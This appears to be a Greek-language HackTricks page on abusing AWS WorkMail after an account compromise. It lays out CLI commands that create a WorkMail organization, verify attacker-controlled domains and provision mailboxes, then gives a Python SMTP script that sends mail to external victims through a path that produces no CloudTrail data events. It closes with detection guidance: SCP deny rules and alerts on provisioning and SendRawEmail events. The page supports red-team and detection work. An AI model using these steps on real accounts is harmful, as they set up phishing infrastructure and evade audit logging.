AWS - WorkMail Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Abusing WorkMail to bypass SES sandbox

Ακόμη και αν το SES είναι περιορισμένο στο sandbox (μόνο verified-recipient, ~200 msgs/24h, 1 msg/s), το WorkMail δεν έχει αντίστοιχο περιορισμό. Ένας επιτιθέμενος με μακροχρόνια κλειδιά μπορεί να στήσει προσωρινή υποδομή email και να αρχίσει να στέλνει αμέσως:

  1. Create a WorkMail org (region-scoped)
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
  1. Verify attacker-controlled domains (WorkMail invokes SES APIs as workmail.amazonaws.com):
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
  1. Provision mailbox users and register them:
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com

Σημειώσεις:

  • Το προεπιλεγμένο όριο recipient cap που τεκμηριώνεται από AWS: 100,000 external recipients/day per org (συσσωρευτικά μεταξύ χρηστών).
  • Η δραστηριότητα επαλήθευσης domain θα εμφανιστεί στο CloudTrail υπό SES αλλά με invokedBy: workmail.<region>.amazonaws.com, οπότε τα γεγονότα επαλήθευσης SES μπορεί να ανήκουν στη ρύθμιση WorkMail αντί για καμπάνιες SES.
  • Οι χρήστες mailbox του WorkMail γίνονται application-layer persistence ανεξάρτητοι από τους IAM users.

Sending paths & telemetry gaps

Web client (WorkMail UI)

  • Οι αποστολές εμφανίζονται ως ses:SendRawEmail γεγονότα στο CloudTrail.
  • userIdentity.type = AWSService, invokedBy/sourceIPAddress/userAgent = workmail.<region>.amazonaws.com, οπότε η πραγματική διεύθυνση IP του client είναι κρυμμένη.
  • requestParameters εξακολουθούν να leak τον sender (source, fromArn, sourceArn, configuration set) για να συσχετιστούν με πρόσφατα επαληθευμένα domains/mailboxes.

SMTP (stealthiest)

  • Endpoint: smtp.mail.<region>.awsapps.com:465 (SMTP over SSL) με το mailbox password.
  • No CloudTrail data events are generated for SMTP delivery, even when SES data events are enabled.
  • Ιδανικά σημεία ανίχνευσης είναι η org/domain/user provisioning και τα SES identity ARNs που αναφέρονται σε επακόλουθα web-sent SendRawEmail events.
Παράδειγμα SMTP send via WorkMail ```python import smtplib from email.message import EmailMessage

SMTP_SERVER = “smtp.mail.us-east-1.awsapps.com” SMTP_PORT = 465 EMAIL_ADDRESS = “marketing@attacker-domain.com” EMAIL_PASSWORD = “SuperSecretPassword!”

target = “victim@example.com” # can be unverified/external msg = EmailMessage() msg[“Subject”] = “WorkMail SMTP” msg[“From”] = EMAIL_ADDRESS msg[“To”] = target msg.set_content(“Delivered via WorkMail SMTP”)

with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)

</details>

## Σκέψεις για ανίχνευση

- Εάν το WorkMail δεν είναι απαραίτητο, μπλοκάρετέ το μέσω **SCPs** (`workmail:*` deny) σε επίπεδο οργανισμού.
- Ειδοποίηση για provisioning: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, και επαληθεύσεις SES με `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Παρακολουθήστε για ανωμαλίες σε γεγονότα **`ses:SendRawEmail`** όπου τα identity ARNs αναφέρονται σε νέους τομείς και η source IP/UA είναι `workmail.<region>.amazonaws.com`.

## References

- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)

> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Δείτε τα [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή την [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>